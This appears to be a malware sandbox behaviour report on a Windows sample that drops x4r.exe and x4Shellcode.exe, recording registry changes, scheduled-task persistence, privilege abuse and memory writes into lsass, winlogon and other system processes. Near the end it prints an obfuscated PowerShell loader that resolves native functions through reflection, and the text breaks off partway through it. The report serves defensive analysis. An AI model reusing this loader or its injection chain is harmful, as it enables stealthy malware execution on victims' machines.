Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\system32\svchost.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" C:\Windows\system32\sihost.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 620 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 620 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 620 wrote to memory of 4248 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 620 wrote to memory of 4248 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 620 wrote to memory of 4248 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2384 wrote to memory of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 5096 wrote to memory of 608 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 5096 wrote to memory of 668 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 5096 wrote to memory of 956 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1016 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\dwm.exe
PID 5096 wrote to memory of 408 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 912 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1136 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1144 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1152 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1164 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1252 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1312 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1324 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1436 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1456 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1580 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1592 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1648 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1716 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1748 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1820 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1960 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1972 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1064 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 1472 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 1840 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2072 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 2168 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 5096 wrote to memory of 2276 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 2348 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 5096 wrote to memory of 2556 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\sihost.exe
PID 5096 wrote to memory of 2588 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2648 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2656 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2680 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2688 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskhostw.exe
PID 5096 wrote to memory of 2852 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2916 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 2924 N/A C:\Windows\System32\dllhost.exe C:\Windows\sysmon.exe
PID 5096 wrote to memory of 2940 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 668 wrote to memory of 2924 N/A C:\Windows\system32\lsass.exe C:\Windows\sysmon.exe
PID 5096 wrote to memory of 2956 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 3188 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\unsecapp.exe
PID 5096 wrote to memory of 3300 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 3480 N/A C:\Windows\System32\dllhost.exe C:\Windows\Explorer.EXE
PID 5096 wrote to memory of 3644 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 5096 wrote to memory of 3848 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe
PID 5096 wrote to memory of 4064 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\RuntimeBroker.exe
PID 5096 wrote to memory of 4204 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\RuntimeBroker.exe
PID 5096 wrote to memory of 4536 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\RuntimeBroker.exe
PID 5096 wrote to memory of 3752 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Users\Admin\AppData\Local\Temp\x4rr.exe

"C:\Users\Admin\AppData\Local\Temp\x4rr.exe"

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\x4r.exe

"C:\Users\Admin\AppData\Local\Temp\x4r.exe"

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe

"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:AnmkeclrzdWd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PtACfPxcKHDAjE,[Parameter(Position=1)][Type]$doubJQSQru)$hfFmwkBOVCx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+'c'+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+'D'+'e'+[Char](108)+'e'+'g'+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$hfFmwkBOVCx.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+'l'+'N'+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+'id'+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$PtACfPxcKHDAjE).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+'me'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+'g'+'e'+'d');$hfFmwkBOVCx.DefineMethod(''+'I'+'n'+[Char](118)+'o'+'k'+''+[Char](101)+'',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+'id'+'e'+'By'+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+'l',$doubJQSQru,$PtACfPxcKHDAjE).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $hfFmwkBOVCx.CreateType();}$NpWDEyMHYuxZv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+'oft.'+'W'+'i'+'n'+''+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+'s'+'a'+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+'e'+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$fEJsduPORCSPaR=$NpWDEyMHYuxZv.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+'e'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SeygckbcSEYCoKjAUYK=AnmkeclrzdWd @([String])([IntPtr]);$wBfbpPrBcbYYyYWHCedWLR=AnmkeclrzdWd 